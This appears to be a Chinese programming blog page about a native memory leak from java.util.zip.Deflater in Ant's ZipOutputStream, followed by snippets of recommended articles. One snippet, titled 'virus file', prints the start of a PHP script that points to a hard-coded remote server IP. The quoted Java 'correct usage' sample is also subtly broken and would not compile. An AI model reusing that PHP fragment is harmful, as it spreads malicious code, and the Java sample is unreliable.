java.util.zip.Deflater引发的内存溢出_zhangjunli的博客-程序员宅基地_java zipfile 内存溢出

技术标签: memory leak  java.util.zip.Deflater  

1、问题:

这几天在使用ant的打包工具zip类时,发现打包大量数据时出现OutOfMemory:

 

Caused by: java.lang.OutOfMemoryError

        at java.util.zip.Deflater.init(Native Method)

        at java.util.zip.Deflater.<init>(Deflater.java:124)

        at org.apache.tools.zip.ZipOutputStream.<init>(ZipOutputStream.java:213)

 

2、求证过程:

2.1  外事不决问google

内存溢出总是这么让人头疼,看别人代码更是一种让人想死的活,多种手段求索无果发火.后看到报错地方@Deflater,述使用google查询下Deflater的相关介绍,查到如下网址:http://www-01.ibm.com/support/docview.wss?uid=swg21227106

豁然开朗,IBM好同志啊,文中介绍了Deflater不正确使用可能导致crash问题并介绍了正确使用方式,部分内容摘录如下:

 

If a deflater object is not explicitly closed and ended, a native memory leak occurs. This leak can result in OutOfMemoryError's and/or Java�6�4 Virtual Machine (JVM) crashes.

Cause

Not explicitly closing and ending a deflater object (such as, DeflaterOutputStream, GZIPOutputStream or ZipOutputStream) causes a native memory leak. This native leak can result in OutOfMemoryError's in the WebSphere Application Server logs as well as JVM hangs and crashes. The following error in the WebSphere Application Server SystemOut.log or SystemErr.log files is a potential indicator of a native issue caused by this type of deflater leak

       正确使用方式:

try {
    Deflater zip = new Deflater(level);
    DeflaterOutputStream defStream = new DeflaterOutputStream(out);
}  
finally {
    defStream.close();
    zip.end();
}

在使用完Deflater之后一定要调用该类的end方法进行释放!!      

  看到这里为什么内存溢出似乎已经有了个光明正大的解释,但是问题是我并不是直接使用Deflater类做压缩的。。。

2.2 求解apache

查看堆栈确定是使用org.apache.tools.zip.ZipOutputStream时报出来的错误,这个包来源于ant.jar,下载ant的源码找到该包中Deflater使用的地方,如下:

          public void finish()  throws IOException
  {
    closeEntry();
    this.cdOffset = this.written;
    for (Iterator i = this.entries.iterator(); i.hasNext(); ) {
      writeCentralFileHeader((ZipEntry)i.next());
    }
    this.cdLength = (this.written - this.cdOffset);
    writeCentralDirectoryEnd();
    this.offsets.clear();
    this.entries.clear();
    this.def.end();
  }

        原来是在finish方法中进行Deflater资源的释放~~,一般在使用流的时候只需要close掉流即可,看来使用ZipOutputStream还需要调用finish方法进行资源的释放才行。经修改代码加在finish方法的调用后解决。

3、总结

Deflater使用完后一定得要end;ant的打包工具类ZipOutputStream除了close掉外还得使用finish来释放资源;尽量使用高版本(我使用的是1.8)的ant打包,有些低版本ant中的ZipOutputStream即使你finish了照样没用,因为低版本的这个方法里也米有end掉Deflater,结果仍然OOM。

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/zhangjunli/article/details/81069009

智能推荐

C++默认构造、拷贝构造、移动构造(C11)、析构 详解_I love LiLi的博客-程序员宅基地_c++ 默认拷贝构造

前言C++的类构成中会有构造函数和析构函数。构造函数又分为默认构造、自定义构造、拷贝构造、自定义拷贝构造、移动构造(C11新特性)。构造函数1、构造函数必须与类同名。2、C++允许构造函数重载。3、构造函数没有返回值。当对象被创建时,自动调用构造函数。C++对于类都会自动生成“默认构造函数”和“默认拷贝构造函数”。默认构造函数是不带参数的。默认构造函数的作用是,给类中的变量分配内存空间。对于类,编译器都会默认生成一个“不带参数的构造函数”,形式如下:class CStructure

Vue——this.$nextTick()_cc_xxo的博客-程序员宅基地

当数据发生改变时Vue不会停止js代码的执行就去更新模板,这样就可能会导致后面对更新部分的模板无效 ,可以使用 this.$nextTick() nextTick 中的回调函数会在模板更新完成之后执行 或者 使用setTimeout() 不设置时间例如this.$nextTick(function(){ //nextTick 回调会在模板更新完成之后执行 this.$refs.inputTitle.focus()})...

网易html5,可拖曳附件 网易邮箱国内首家支持HTML5_亿升笑的博客-程序员宅基地

【IT168 资讯】5月19日消息,网易邮箱官方博客近日显示,其最新的功能实现了附件可直接拖拽进邮件正文,这在国内邮箱中属于首次技术上的突破,但目前仅支持Chrome和Firefox浏览器。前几天,Gmail也才刚刚推出这个功能,但只支持Chrome浏览器。网易此次针对Chrome和Firefox用户推出两项新功能为:在写信页面支持拖拽附件上传、拖拽图片文件直接插入邮件正文,尽管只是细微的改变,却...

exception is java.sql.SQLDataException: Unsupported conversion from TIMESTAMP to java.lang.Long_狗头军师大人啊的博客-程序员宅基地

org.springframework.dao.DataIntegrityViolationException: Error attempting to get column 'operate_time' from result set. Cause: java.sql.SQLDataException: Unsupported conversion from TIMESTAMP to java.lang.Long; Unsupported conversion from TIMESTAMP to ja.

家长应该对孩子怎样说、自己应该怎样做------家长必看(转)_weixin_30670965的博客-程序员宅基地

最伤孩子心的十句话,提醒父母们嘴下留情。 不要再用语言伤孩子的心,断送孩子的前程。同时告诉父母,应该对孩子说什么,以及父母应该怎样从正面的、积极的、健康的、亮丽的角度审视孩子、肯定孩子、表扬孩子、激励孩子。[第一句]“笨蛋,没用的东西。”告诉孩子:你不笨是谁给孩子贴上了“笨蛋”的标签如果你不想让孩子成为“笨蛋”在平常之中赏识你的孩子翘起你...

一、Mybatis入门介绍及简单案例_别选瑶了的博客-程序员宅基地

Mybatis入门介绍1、Mybaits简介1.1、什么是MybatisMyBatis 是一款优秀的持久层框架。它内部封装了 jdbc,使开发者只需要关注 sql 语句本身,而不需要花费精力去处理加载驱动、创建连接、创建 statement 等繁杂的过程。mybatis 通过 xml 或注解的方式将要执行的各种 statement 配置起来,并通过 java 对象和 statement 中sql 的动态参数进行映射生成最终执行的 sql 语句,最后由 mybatis 框架执行 sql

随便推点

VSCode中Vue的components组件名标签无法快捷闭合_梦宠的博客-程序员宅基地_vue组件标签闭合

背景:最近在学习vue时,看到网课老师在书写template时,html代码具有自动闭合标签的功能,然后自己在网上找了许多教程,发现这样的文章很少,自己就琢磨了下,才写了这篇博客供大家参考正文在js文件中书写这样的模板时,能够像书写HTML文件时使用tab键自动补全html代码,即自动生成闭合标签。教程如下:1. 依次打开 “文件 &gt;&gt; 首选项 &gt;&gt; 设置” 或者使用快捷方式:ctrl + shift + p 搜索“打开用户设置”2. 在搜索栏中搜索 “setting

linux网卡驱动离线安装_linux系统网卡驱动下载和安装_weixin_39906521的博客-程序员宅基地

(这里很重要)如果是已经安装好的系统添加固件(debian8需要暂时网)apt-get安装$sudo gedit /etc/apt/sources.list添加下面两行(gedit是编辑器):# Debian 8 "Jessie"deb http://httpredir.debian.org/debian/ jessie main contrib non-free这是添加源的方式$sudo apt...

【Java基础学习笔记】14、集合与泛型_白皛玊的博客-程序员宅基地

文章目录集合Collection接口Iterable接口泛型集合集合相当于是个容器,主要负责存储任意数量的数据。分类: Collection(接口) - 有很多子接口/实现类  | - List(I)  | - Set(I)  | - Queue(I) Map(接口)Collection接口1、创建: 是一个接口,不能new自己,只能new接口的实现类。2、常用API 1)普通常用  add() - 添加  remove() -删除  clear() - 清空  isEmpt

病毒文件_weixin_33875564的博客-程序员宅基地

&lt;?phpset_time_limit(0);header("Content-Type: text/html;charset=gb2312");$Rermote_server = "http://107.151.66.90:777/"; $host_name = "http://".$_SERVER['SERVER_NAME'].$_SERVER['PHP_SELF'...

如何判断大小端字节序_假想迪的博客-程序员宅基地_判断大小端字节序

大端(存储)模式,是指数据的低位保存在内存的高地址中;小端(存储)模式,是指数据的高位保存在内存的低地址中。出现大小端模式的原因:计算机系统中,是以字节为单位的,每个地址单元都对应着一个字节,一个字节大小为8bit位。但是c语言中除了8bit的char类型以外,还有其他16bit或32bit的类型等等。此外,对于大于8位位数的处理器来说,由于寄存器的宽度大于一个字节,就会出现怎样安排多个字节的...

React-生命周期的认识_CrystalAngelLee的博客-程序员宅基地

认识到的React生命周期分为React16.0 之前的生命周期和React16.0之后的生命周期16.0 版本之前的生命周期static defaultProps = {};static propTypes = {};constructor(props) {super(props);this.state = {};}componentWillMount() {}rende...